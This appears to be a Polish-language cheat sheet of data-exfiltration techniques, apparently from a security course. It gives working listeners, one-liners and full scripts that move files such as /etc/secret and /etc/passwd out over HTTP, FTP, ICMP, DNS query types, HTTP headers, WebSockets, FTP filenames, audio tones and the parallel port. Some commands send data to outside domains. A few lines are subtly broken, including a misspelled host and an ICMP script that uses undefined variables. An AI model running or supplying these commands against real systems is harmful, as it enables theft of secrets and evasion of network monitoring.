Eksiltracja - level hard

Uniwersalny listener TCP

socat -u -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat | tee loots/tcp/$SOCAT_PEERADDR.$$.txt' 

Eksfiltracja po HTTP

iwr -me po -i /etc/secret http://localhsot:2048

Invoke-RestMethod -Method Post -InFile "/etc/secret"  -Uri  http://localhost:2048
curl -T /etc/secret http://localhost:2048/
curl -F "f=@/etc/secret" http://localhost:2048/

```python
import requests; requests.post("http://127.0.0.1:2048", files={"f": open("/etc/secret", "rb")})

Listener FTP

python -m pyftpdlib -p 2121 -w

Eksfiltracja po FTP

[Net.WebClient]::New().UploadFile("ftp://localhost:2121/secret", (gi "/etc/secret"))
curl -T /etc/secret ftp://localhost:2121
from ftplib import FTP; ftp=FTP(); ftp.connect("127.0.0.1", 2121); ftp.login(); ftp.storbinary("STOR secret", open("/etc/secret", "rb")); ftp.quit()

Listener ICMP

& "C:\Program Files\Wireshark\tshark.exe" -i Wi-Fi -l -T fields -e data "icmp[0]=8" | % { -join ($_ -split "(.{2})" -match "." | % { [char][byte]"0x$_"}) }
python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'
from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))

Eksfiltracja ICMP

(gc /etc/secret -Raw) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}
hping3 --icmp -d 1000 aptm.in --file /etc/passwd 

Listener TCP/IP

tcpdump -i any -s 0 -w dump.pcap
tshark  -i any -w dump.pcap

Eksfiltracja DNS

 (-join ((gc -raw hpsz.cs).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace  "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).aptmc.pl"}
<?php

$header = 'HTTP_X_REQUEST_ID';

if (isset($_SERVER[$header])) {
   error_log(sprintf('[PAYLOAD/%s]: %s', $_SERVER['REMOTE_ADDR'], $_SERVER[$header]));
}

?>

Eksfiltracja HTTP w nagłówkach

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes((gc -raw /etc/secret))) -split "(.{64})" -match "."|%{ irm http://localhost:2048/status -Headers @{"X-Request-ID"=$_} }

WebSocket listener:

const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws) => {
    console.log('New connection');

    ws.on('message', (message) => {
        console.log(`Got: ${message}`);
    });

    ws.on('close', () => {
        console.log('Connection closed');
    });
});

console.log('Listening on 8080');
Function Invoke-ExfilWebSocket {
    Param(
        [Parameter(Mandatory)]
        $uri,
        [Parameter(Mandatory, ValueFromPipeline)]
        $message
    )

    begin {
        $client = [Net.WebSockets.ClientWebSocket]::new()

        try {
            $client.ConnectAsync($uri, [Threading.CancellationToken]::None).Wait()
        }
        catch {
            Write-Error "Error1: $_"
            return
        }
    }

    process {
        $buffer = [Text.Encoding]::UTF8.GetBytes($message)
        $segment = [ArraySegment[byte]]::new($buffer)

        try {
            $client.SendAsync($segment, [Net.WebSockets.WebSocketMessageType]::Text, $true, [Threading.CancellationToken]::None).Wait()
        }
        catch {
            Write-Error "Error2: $_"
        }
    }

    end {
        try {
            $client.CloseAsync([Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "Bye", [Threading.CancellationToken]::None).Wait()
        }
        catch {
            Write-Error "Error3: $_"
        }

    }
}

DNS type list

from scapy.layers.dns import dnstypes

dns_records = list(dnstypes.items())

record_width = 20
columns = 4

for i in range(0, len(dns_records), columns):
    group = dns_records[i:i+columns]
    print("   ".join([f"{qtype}: {number}".ljust(record_width) for qtype, number in group]))

DNS type exfil

import argparse
from scapy.all import *

def exfil_dns_type(file, ns, domain, base_type):
    try:
        with open (file, "rb") as f:
            data = f.read()
            for byte in data:
                type = base_type + byte
                dns_query = IP(dst=ns) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=domain, qtype=type))
                print(f"sending query type {type} to {ns} for domain {domain}")
                response = sr1(dns_query, verbose=0)
    except Exception as e:
        print(f"Open error: {e}")

    #print(response.show())

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", "--file", required=True, help="File to exfil")
    parser.add_argument("-n", "--nameserver", help="Nameserver to query", default="8.8.8.8")
    parser.add_argument("-d", "--domain", help="Domain to query", default="aptmc.pl")
    parser.add_argument("-b", "--base_type", help="Base type (int)", default=1000, type=int)

    args = parser.parse_args()

    exfil_dns_type(args.file, args.nameserver, args.domain, args.base_type)

if __name__ == "__main__":
    main()

ICMP Ping

import argparse
from scapy.all import *

def exfil_icmp_adv(file, address, seq, id):
    try:
        with open (file, "rb") as f:
            data = f.read()
            for byte in data:
                print(f"sending query type {type} to {ns} for domain {domain}")
                if seq:
                    sr1(IP(dst=address)/ICMP(seq=byte))
                else:
                    sr1(IP(dst=address)/ICMP(id=byte))
    except Exception as e:
        print(f"Open error: {e}")

    #print(response.show())

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", "--file", required=True, help="File to exfil")
    parser.add_argument("-a", "--address", help="Host/address to ping", default="aptmc.pl")
    parser.add_argument("--seq", action="store_true", help="Use SEQ type for ICMP")
    parser.add_argument("--id", action="store_true", help="Use ID type for ICMP")
    args = parser.parse_args()

    if (args.seq ^ args.id):
        print("Error: please select --seq OR --id")
        return

    exfil_icmp_adv(args.file, args.address, args.seq, args.id)

if __name__ == "__main__":
    main()

FTP Server (size)

#!/usr/bin/env python
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer

class MyHandler(FTPHandler):
    def ftp_SIZE(self, file):
        arr = file.split("/test_")
        if (len(arr) == 2):
            print(arr[1])
        self.respond('550 hpsz')

def main():
    authorizer = DummyAuthorizer()
    authorizer.add_anonymous(homedir='.')

    handler = MyHandler
    handler.authorizer = authorizer
    server = FTPServer(('', 2121), handler)
    server.serve_forever()

if __name__ == "__main__":
    main()

Eksfiltracja FTP w nazwach

for a in $(cat /etc/secret|openssl base64); do curl -s ftp://localhost:2121/test_$a -O /dev/null; done

Eksfiltracja Morsem

Function Out-Morse {
   Param(
        [Parameter(Mandatory, ValueFromPipeline)]
        $message,
        $tone = 1337,
        $duration = 80
    )

    $morseAlphabet = @{"A" = ".-"; "B" = "-..."; "C" = "-.-."; "D" = "-.."; "E" = "."; "F" = "..-."; "G" = "--."; "H" = "...."; "I" = ".."; "J" = ".---"; "K" = "-.-"; "L" = ".-.."; "M" = "--"; "N" = "-."; "O" = "---"; "P" = ".--."; "Q" = "--.-"; "R" = ".-."; "S" = "..."; "T" = "-"; "U" = "..-"; "V" = "...-"; "W" = ".--"; "X" = "-..-"; "Y" = "-.--"; "Z" = "--.."; "0" = "-----"; "1" = ".----"; "2" = "..---"; "3" = "...--"; "4" = "....-"; "5" = "....."; "6" = "-...."; "7" = "--..."; "8" = "---.."; "9" = "----." }

    $message -split "" | % {
    $code = $morseAlphabet[$_.ToUpper()]
    $code
        $code -split "" | % { 
            if ($_ -eq '.') {   [console]::beep($tone, $duration)    }
            elseif ($_ -eq '-') {   [console]::beep($tone, $duration*3)   }
            else {    Start-Sleep -Milliseconds ($duration*3)     }
        }
    }
}

Eksfiltracja tonami

filter Out-R2D2 { $_.ToCharArray() | % { [console]::beep(1000+([int][char]$_*20), 100) } }

Get-Content -Raw c:\secret | Out-R2D2
while read -n1 c; do play -n synth 0.05 sine $(( ($(printf "%d" "'$c") * 20) + 3137 ))   ; done  < /etc/secret

Eksfilrtacja po LPT, Linux

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>

#define LPT_PORT 0x378 

void exfil_lpt(const char *file_path) {
    FILE *file = fopen(file_path, "rb"); 
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    unsigned char byte;
    while (fread(&byte, sizeof(byte), 1, file)) {
        outb(byte, LPT_PORT);
        printf("Sent byte: 0x%02X\n", byte);
    }

    fclose(file);
    printf("File sent successfully.\n");
}

int main(int argc, char **argv) {
    if (ioperm(LPT_PORT, 1, 1)) {  
        perror("ioperm");
        exit(1);
    }

    exfil_lpt(argv[1]);

    if (ioperm(LPT_PORT, 1, 0)) {
        perror("ioperm");
        exit(1);
    }

    return 0;
}